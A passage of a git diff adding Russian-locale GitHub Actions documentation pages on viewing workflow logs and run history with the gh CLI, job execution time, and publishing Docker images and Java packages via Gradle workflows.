aria-label="The horizontal kebab icon" %}. + + ![Значок горизонтального многоточия](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png) + +2. Чтобы удалить файлы журналов, нажмите кнопку **Удалить все журналы** и просмотрите запрос подтверждения. + + ![Удаление всех журналов](/assets/images/help/repository/delete-all-logs-updated-2.png) + +После удаления журналов кнопка **Удалить все журналы** исчезает. Это указывает, что ы рабочем процессе больше не осталось файлов журналов. + +## Просмотр журналов с помощью {% data variables.product.prodname_cli %} + +{% data reusables.cli.cli-learn-more %} + +Чтобы просмотреть журнал для определенного задания, используйте подкоманду `run view`. Замените `run-id` идентификатором запуска, для которого вы хотите просмотреть журналы. {% data variables.product.prodname_cli %} отобразит интерактивное меню для выбора задания из запуска. Если вы не укажете `run-id`, {% data variables.product.prodname_cli %} отобразит интерактивное меню для выбора последнего запуска, а затем другое интерактивное меню для выбора задания из этого запуска. + +```shell +gh run view RUN_ID --log +``` + +Вы также можете указать идентификатор задания с помощью флага `--job`. Замените `job-id` идентификатором задания, для которого вы хотите просмотреть журналы. + +```shell +gh run view --job JOB_ID --log +``` + +Вы можете использовать `grep` для поиска в журнале. Например, следующая команда вернет все записи журнала, содержащие слово `error`. + +```shell +gh run view --job JOB_ID --log | grep error +``` + +Чтобы отфильтровать журналы для вывода всех неудачных шагов, используйте `--log-failed` вместо `--log`. + +```shell +gh run view --job JOB_ID --log-failed +``` diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md new file mode 100644 index 000000000000..0fa0b0ccb642 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md @@ -0,0 +1,29 @@ +--- +title: Viewing job execution time +shortTitle: View job execution time +intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.' +redirect_from: + - /actions/managing-workflow-runs/viewing-job-execution-time +versions: + fpt: '*' + ghec: '*' +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +{% data reusables.repositories.navigate-to-workflow %} +{% data reusables.repositories.view-run %} +1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, in the left sidebar under "Run details", click **{% octicon "stopwatch" aria-label="The stopwatch icon" %} Usage**. + + ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png) + + {% note %} + + **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)." + + {% endnote %} diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md new file mode 100644 index 000000000000..79af96ec9565 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md @@ -0,0 +1,85 @@ +--- +title: Просмотр истории выполнения рабочего процесса +shortTitle: Workflow run history +intro: Вы можете просмотреть журналы для каждого запуска рабочего процесса. В журналах указывается состояние для каждого задания и шага рабочего процесса. +redirect_from: + - /actions/managing-workflow-runs/viewing-workflow-run-history +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 6f8b63c5e136f14bc39d0a835507e151978fad11 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010023' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% data reusables.repositories.permissions-statement-read %} + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +### Просмотр последних запусков рабочего процесса + +Чтобы получить список последних запусков рабочего процесса, используйте подкоманду `run list`. + +```shell +gh run list +``` + +Чтобы указать максимальное количество возвращаемых запусков, вы можете использовать флаг `-L` или `--limit`. Значение по умолчанию — `10`. + +```shell +gh run list --limit 5 +``` + +Чтобы возвращать только запуски для указанного рабочего процесса, вы можете использовать флаг `-w` или `--workflow`. Замените `workflow` либо именем рабочего процесса, либо идентификатором рабочего процесса, либо именем файла рабочего процесса. Например, `"Link Checker"`, `1234567` или `"link-check-test.yml"`. + +```shell +gh run list --workflow WORKFLOW +``` + +### Просмотр сведений о конкретном запуске рабочего процесса + +Чтобы отобразить сведения о конкретном запуске рабочего процесса, используйте подкоманду `run view`. Замените `run-id` идентификатором запуска, который необходимо просмотреть. Если вы не укажете `run-id`, {% data variables.product.prodname_cli %} возвратит интерактивное меню, в котором можно выбрать недавний запуск. + +```shell +gh run view RUN_ID +``` + +Чтобы включить этапы задания в выходные данные, используйте флаг `-v` или `--verbose`. + +```shell +gh run view RUN_ID --verbose +``` + +Чтобы просмотреть сведения о конкретном задании в процессе выполнения, используйте флаг `-j` или `--job`. Замените `job-id` идентификатором задания, которое необходимо просмотреть. + +```shell +gh run view --job JOB_ID +``` + +Чтобы просмотреть полный журнал задания, используйте флаг `--log`. + +```shell +gh run view --job JOB_ID --log +``` + +Используйте флаг `--exit-status` для выхода с ненулевым статусом, если выполнение не удалось. Пример: + +```shell +gh run view 0451 --exit-status && echo "run pending or passed" +``` + +{% endcli %} diff --git a/translations/ru-RU/content/actions/publishing-packages/about-packaging-with-github-actions.md b/translations/ru-RU/content/actions/publishing-packages/about-packaging-with-github-actions.md new file mode 100644 index 000000000000..cdf27a2e34f4 --- /dev/null +++ b/translations/ru-RU/content/actions/publishing-packages/about-packaging-with-github-actions.md @@ -0,0 +1,30 @@ +--- +title: Упаковка с помощью GitHub Actions +intro: 'Рабочие процессы можно настроить в {% data variables.product.prodname_actions %}, чтобы создавать пакеты и отправлять их в {% data variables.product.prodname_registry %} или другому поставщику служб размещения пакетов.' +redirect_from: + - /actions/automating-your-workflow-with-github-actions/about-packaging-with-github-actions + - /actions/publishing-packages-with-github-actions/about-packaging-with-github-actions + - /actions/guides/about-packaging-with-github-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Packaging +shortTitle: Packaging with GitHub Actions +ms.openlocfilehash: 49f59dd4388e67b36d901f79d6e71a7777e8b55c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145121208' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% data reusables.package_registry.about-packaging-and-actions %} + +## Дополнительные материалы + +- [Публикация пакетов Node.js](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages) diff --git a/translations/ru-RU/content/actions/publishing-packages/index.md b/translations/ru-RU/content/actions/publishing-packages/index.md new file mode 100644 index 000000000000..a12bac337d8f --- /dev/null +++ b/translations/ru-RU/content/actions/publishing-packages/index.md @@ -0,0 +1,25 @@ +--- +title: Публикация пакетов +shortTitle: Publish packages +intro: 'Вы можете автоматически публиковать пакеты с помощью {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /actions/publishing-packages-with-github-actions +children: + - /about-packaging-with-github-actions + - /publishing-docker-images + - /publishing-java-packages-with-gradle + - /publishing-java-packages-with-maven + - /publishing-nodejs-packages +ms.openlocfilehash: c02f8a9011758e5e0b59b9648d7bcdf48bd01bee +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010060' +--- + diff --git a/translations/ru-RU/content/actions/publishing-packages/publishing-docker-images.md b/translations/ru-RU/content/actions/publishing-packages/publishing-docker-images.md new file mode 100644 index 000000000000..8f521c266452 --- /dev/null +++ b/translations/ru-RU/content/actions/publishing-packages/publishing-docker-images.md @@ -0,0 +1,259 @@ +--- +title: Publishing Docker images +shortTitle: Publish Docker images +intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.' +redirect_from: + - /actions/language-and-framework-guides/publishing-docker-images + - /actions/guides/publishing-docker-images +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Packaging + - Publishing + - Docker +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries. + +{% note %} + +**Note:** If you want to push to another third-party Docker registry, the example in the "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" section can serve as a good template. + +{% endnote %} + +## Prerequisites + +We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +You might also find it helpful to have a basic understanding of the following: + +- "[Encrypted secrets](/actions/reference/encrypted-secrets)" +- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %} +- "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %} +- "[Working with the Docker registry](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %} + +## About image configuration + +This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image. + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% data reusables.package_registry.about-docker-labels %} For more information, see "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry#labelling-container-images)." + +{% endif %} + +In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images). + +{% data reusables.actions.enterprise-marketplace-actions %} + +## Publishing images to Docker Hub + +{% data reusables.actions.release-trigger-workflow %} + +In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub. + +To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see "[Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" in the Docker documentation. + +The `login-action` options required for Docker Hub are: +* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." + +The `metadata-action` option required for Docker Hub is: +* `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub. + +The `build-push-action` options required for Docker Hub are: +* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list. +* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully. + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Publish Docker image + +on: + release: + types: [published] + +jobs: + push_to_registry: + name: Push Docker image to Docker Hub + runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %} + steps: + - name: Check out the repo + uses: {% data reusables.actions.action-checkout %} + + - name: Log in to Docker Hub + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %} + password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %} + + - name: Extract metadata (tags, labels) for Docker + id: meta + uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 + with: + images: my-docker-hub-namespace/my-docker-hub-repository + + - name: Build and push Docker image + uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc + with: + context: . + push: true + tags: {% raw %}${{ steps.meta.outputs.tags }}{% endraw %} + labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %} +``` + +The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image. + +## Publishing images to {% data variables.product.prodname_registry %} + +{% ifversion ghes > 3.4 %} +{% data reusables.package_registry.container-registry-ghes-beta %} +{% endif %} + +{% data reusables.actions.release-trigger-workflow %} + +In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}. + +The `login-action` options required for {% data variables.product.prodname_registry %} are: +* `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% elsif ghes > 3.4 %}`{% data reusables.package_registry.container-registry-hostname %}`{% else %}`docker.pkg.github.com`{% endif %}. +* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." +* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." + +{% ifversion fpt or ghec %} +The `metadata-action` option required for {% data variables.product.prodname_registry %} is: +* `images`: The namespace and name for the Docker image you are building. +{% endif %} + +The `build-push-action` options required for {% data variables.product.prodname_registry %} are:{% ifversion fpt or ghec %} +* `context`: Defines the build's context as the set of files located in the specified path.{% endif %} +* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %} +* `tags` and `labels`: These are populated by output from `metadata-action`.{% else %} +* `tags`: Must be set in the format {% ifversion ghes > 3.4 %}`{% data reusables.package_registry.container-registry-hostname %}/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. + + For example, for an image named `octo-image` stored on {% data variables.product.prodname_ghe_server %} at `https://HOSTNAME/octo-org/octo-repo`, the `tags` option should be set to `{% data reusables.package_registry.container-registry-hostname %}/octo-org/octo-repo/octo-image:latest`{% else %}`docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. + + For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`{% endif %}. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %} + +{% ifversion fpt or ghec or ghes > 3.4 %} +{% data reusables.package_registry.publish-docker-image %} + +The above workflow is triggered by a push to the "release" branch. It checks out the GitHub repository, and uses the `login-action` to log in to the {% data variables.product.prodname_container_registry %}. It then extracts labels and tags for the Docker image. Finally, it uses the `build-push-action` action to build the image and publish it on the {% data variables.product.prodname_container_registry %}. + +{% else %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Publish Docker image + +on: + release: + types: [published] +jobs: + push_to_registry: + name: Push Docker image to GitHub Packages + runs-on: ubuntu-latest + permissions: + packages: write + contents: read + steps: + - name: Check out the repo + uses: {% data reusables.actions.action-checkout %} + + - name: Log in to GitHub Docker Registry + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %} + username: {% raw %}${{ github.actor }}{% endraw %} + password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + + - name: Build and push Docker image + uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc + with: + context: . + push: true + tags: | + {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}/${{ github.repository }}/octo-image:${{ github.sha }}{% endraw %} + {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}/${{ github.repository }}/octo-image:${{ github.event.release.tag_name }}{% endraw %} +``` + +The above workflow checks out the {% data variables.product.product_name %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to the Docker registry, and apply the commit SHA and release version as image tags. +{% endif %} + +## Publishing images to Docker Hub and {% data variables.product.prodname_registry %} + +{% ifversion ghes > 3.4 %} +{% data reusables.package_registry.container-registry-ghes-beta %} +{% endif %} + +In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry. + +The following example workflow uses the steps from the previous sections ("[Publishing images to Docker Hub](#publishing-images-to-docker-hub)" and "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") to create a single workflow that pushes to both registries. + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Publish Docker image + +on: + release: + types: [published] + +jobs: + push_to_registries: + name: Push Docker image to multiple registries + runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %} + permissions: + packages: write + contents: read + steps: + - name: Check out the repo + uses: {% data reusables.actions.action-checkout %} + + - name: Log in to Docker Hub + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %} + password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %} + + - name: Log in to the {% ifversion fpt or ghec or ghes > 3.4 %}Container{% else %}Docker{% endif %} registry + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + registry: {% ifversion fpt or ghec %}ghcr.io{% elsif ghae %}docker.YOUR-HOSTNAME.com{% elsif ghes > 3.4 %}{% data reusables.package_registry.container-registry-hostname %}{% else %}docker.pkg.github.com{% endif %} + username: {% raw %}${{ github.actor }}{% endraw %} + password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + + - name: Extract metadata (tags, labels) for Docker + id: meta + uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 + with: + images: | + my-docker-hub-namespace/my-docker-hub-repository + {% ifversion fpt or ghec or ghes > 3.4 %}{% data reusables.package_registry.container-registry-hostname %}/{% raw %}${{ github.repository }}{% endraw %}{% elsif ghae %}{% raw %}docker.YOUR-HOSTNAME.com/${{ github.repository }}/my-image{% endraw %}{% else %}{% raw %}docker.pkg.github.com/${{ github.repository }}/my-image{% endraw %}{% endif %} + + - name: Build and push Docker images + uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc + with: + context: . + push: true + tags: {% raw %}${{ steps.meta.outputs.tags }}{% endraw %} + labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %} +``` + +The above workflow checks out the {% data variables.product.product_name %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action. +Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec or ghes > 3.4 %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}. diff --git a/translations/ru-RU/content/actions/publishing-packages/publishing-java-packages-with-gradle.md b/translations/ru-RU/content/actions/publishing-packages/publishing-java-packages-with-gradle.md new file mode 100644 index 000000000000..8392d8d07d53 --- /dev/null +++ b/translations/ru-RU/content/actions/publishing-packages/publishing-java-packages-with-gradle.md @@ -0,0 +1,274 @@ +--- +title: Публикация пакетов Java с помощью Gradle +shortTitle: Publish Java packages with Gradle +intro: С помощью Gradle можно опубликовать пакеты Java в реестре в рамках рабочего процесса непрерывной интеграции (CI). +redirect_from: + - /actions/language-and-framework-guides/publishing-java-packages-with-gradle + - /actions/guides/publishing-java-packages-with-gradle +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Packaging + - Publishing + - Java + - Gradle +ms.openlocfilehash: 4627f561ea1a78fff800a7a5d656947e481a2999 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009999' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +{% data reusables.actions.publishing-java-packages-intro %} + +## Предварительные требования + +Рекомендуется иметь базовое представление о файлах рабочих процессов и параметрах конфигурации. Дополнительные сведения см. в статье со [сведениями о {% data variables.product.prodname_actions %}](/actions/learn-github-actions). + +Дополнительные сведения о создании рабочего процесса CI для проекта Java с помощью Gradle см. в статье "[Создание и тестирование Java с помощью Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)". + +Также могут быть полезны базовые знания в следующих областях: + +- [Работа с реестром npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry) +- [Переменные среды](/actions/reference/environment-variables) +- [Зашифрованные секреты](/actions/reference/encrypted-secrets) +- [Проверка подлинности в рабочем процессе](/actions/reference/authentication-in-a-workflow) + +## Сведения о конфигурации пакета + +Поля `groupId` и `artifactId` в разделе `MavenPublication` файла _build.gradle_ создают уникальный идентификатор пакета, используемый реестрами для связывания пакета с реестром. Они аналогичный полям `groupId` и `artifactId` файла Maven _pom.xml_. Дополнительные сведения см. в статье "[Подключаемый модуль публикации Maven](https://docs.gradle.org/current/userguide/publishing_maven.html)" в документации по Gradle. + +Файл _build.gradle_ также содержит конфигурацию для репозиториев управления дистрибутивами, в которые Gradle будет публиковать пакеты. Каждый репозиторий должен иметь имя, URL-адрес развертывания и учетные данные для проверки подлинности. + +## Публикация пакетов в центральный репозиторий Maven + +При каждом создании выпуска можно активировать рабочий процесс для публикации пакета. Рабочий процесс в приведенном ниже примере выполняется при активации события `release` с типом `created`. Если тесты CI проходят успешно, рабочий процесс публикует пакет в центральный репозитории Maven. Дополнительные сведения о событии `release` см. в статье "[События, активирующие рабочие процессы](/actions/reference/events-that-trigger-workflows#release)". + +Вы можете определить новый репозиторий Maven в блоке публикации файла _build.gradle_, который указывает на репозиторий пакетов. Например, если развертывание в центральный репозиторий Maven выполнялось с помощью проекта размещения OSSRH, файл _build.gradle_ может указывать репозиторий с именем `"OSSRH"`. + +{% raw %} +```groovy{:copy} +plugins { + ... + id 'maven-publish' +} + +publishing { + ... + + repositories { + maven { + name = "OSSRH" + url = "https://oss.sonatype.org/service/local/staging/deploy/maven2/" + credentials { + username = System.getenv("MAVEN_USERNAME") + password = System.getenv("MAVEN_PASSWORD") + } + } + } +} +``` +{% endraw %} + +С помощью этой конфигурации можно создать рабочий процесс, который публикует пакет в центральный репозитории Maven. Для этого нужно выполнить команду `gradle publish`. На этапе развертывания необходимо задать переменные среды для имени пользователя и пароля или маркера, используемого для проверки подлинности в репозитории Maven. Дополнительные сведения см. в статье "[Создание и использование зашифрованных секретов](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". + +```yaml{:copy} + +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Publish package to the Maven Central Repository +on: + release: + types: [created] +jobs: + publish: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Java + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Validate Gradle wrapper + uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b + - name: Publish package + uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1 + with: + arguments: publish + env: + MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %} + MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %} +``` + +{% data reusables.actions.gradle-workflow-steps %} +1. Выполняет действие [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action) с аргументом `publish` для публикации в репозиторий Maven `OSSRH`. Переменная среды `MAVEN_USERNAME` будет задана с содержимым секрета `OSSRH_USERNAME`, а переменная среды `MAVEN_PASSWORD` — с содержимым секрета `OSSRH_TOKEN`. + + Дополнительные сведения об использовании секретов в рабочем процессе см. в статье "[Создание и использование зашифрованных секретов](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". + +## Публикация пакетов в {% data variables.product.prodname_registry %} + +При каждом создании выпуска можно активировать рабочий процесс для публикации пакета. Рабочий процесс в приведенном ниже примере выполняется при активации события `release` с типом `created`. Если тесты CI проходят успешно, рабочий процесс публикует пакет в {% data variables.product.prodname_registry %}. Дополнительные сведения о событии `release` см. в статье "[События, активирующие рабочие процессы](/actions/reference/events-that-trigger-workflows#release)". + +Вы можете определить новый репозиторий Maven в блоке публикации файла _build.gradle_, который указывает на {% data variables.product.prodname_registry %}. В этой конфигурации репозитория можно также использовать переменные среды, заданные в рабочем процессе CI. Переменную среды `GITHUB_ACTOR` можно использовать в качестве имени пользователя, а переменную среды `GITHUB_TOKEN`можно задать с помощью секрета `GITHUB_TOKEN`. + +{% data reusables.actions.github-token-permissions %} + +Например, если организация называется "octocat", а репозиторий называется "hello-world", конфигурация {% data variables.product.prodname_registry %} в файле _build.gradle_ будет выглядеть примерно так, как показано в следующем примере. + +{% raw %} +```groovy{:copy} +plugins { + ... + id 'maven-publish' +} + +publishing { + ... + + repositories { + maven { + name = "GitHubPackages" + url = "https://maven.pkg.github.com/octocat/hello-world" + credentials { + username = System.getenv("GITHUB_ACTOR") + password = System.getenv("GITHUB_TOKEN") + } + } + } +} +``` +{% endraw %} + +С помощью этой конфигурации можно создать рабочий процесс, который публикует пакет в {% data variables.product.prodname_registry %}. Для этого следует выполнить команду `gradle publish`. + +```yaml{:copy} + +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Publish package to GitHub Packages +on: + release: + types: [created] +jobs: + publish: + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Validate Gradle wrapper + uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b + - name: Publish package + uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1 + with: + arguments: publish + env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` + +{% data reusables.actions.gradle-workflow-steps %} +1. Выполняет действие [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action) с аргументом `publish` для публикации в {% data variables.product.prodname_registry %}. Переменная среды `GITHUB_TOKEN` будет задана с содержимым секрета `GITHUB_TOKEN`. Ключ `permissions` указывает доступ, разрешенный секретом `GITHUB_TOKEN`. + + Дополнительные сведения об использовании секретов в рабочем процессе см. в статье "[Создание и использование зашифрованных секретов](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". + +## Публикация пакетов в центральный репозиторий Maven и {% data variables.product.prodname_registry %} + +Вы можете опубликовать пакеты в центральный репозиторий Maven и {% data variables.product.prodname_registry %}, настроив каждый из них в файле _build.gradle_. + +Файл _build.gradle_ должен содержать репозиторий для репозитория {% data variables.product.prodname_dotcom %} и поставщика центрального репозитория Maven. + +Например, при развертывании в центральный репозиторий с помощью проекта размещения OSSRH может потребоваться указать его в репозитории управления дистрибутивом — `name` должен иметь значение `OSSRH`. При развертывании в {% data variables.product.prodname_registry %} может потребоваться указать его в репозитории управления распределением — `name` должен иметь значение `GitHubPackages`. + +Например, если организация называется "octocat", а репозиторий называется "hello-world", конфигурация в файле _build.gradle_ будет выглядеть примерно так, как показано в следующем примере. + +{% raw %} +```groovy{:copy} +plugins { + ... + id 'maven-publish' +} + +publishing { + ... + + repositories { + maven { + name = "OSSRH" + url = "https://oss.sonatype.org/service/local/staging/deploy/maven2/" + credentials { + username = System.getenv("MAVEN_USERNAME") + password = System.getenv("MAVEN_PASSWORD") + } + } + maven { + name = "GitHubPackages" + url = "https://maven.pkg.github.com/octocat/hello-world" + credentials { + username = System.getenv("GITHUB_ACTOR") + password = System.getenv("GITHUB_TOKEN") + } + } + } +} +``` +{% endraw %} + +С помощью этой конфигурации можно создать рабочий процесс, который публикует пакет в центральный репозиторий Maven и {% data variables.product.prodname_registry %}. Для этого следует выполнить команду `gradle publish`. + +```yaml{:copy} + +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Publish package to the Maven Central Repository and GitHub Packages +on: + release: + types: [created] +jobs: + publish: + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Java + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Validate Gradle wrapper + uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b + - 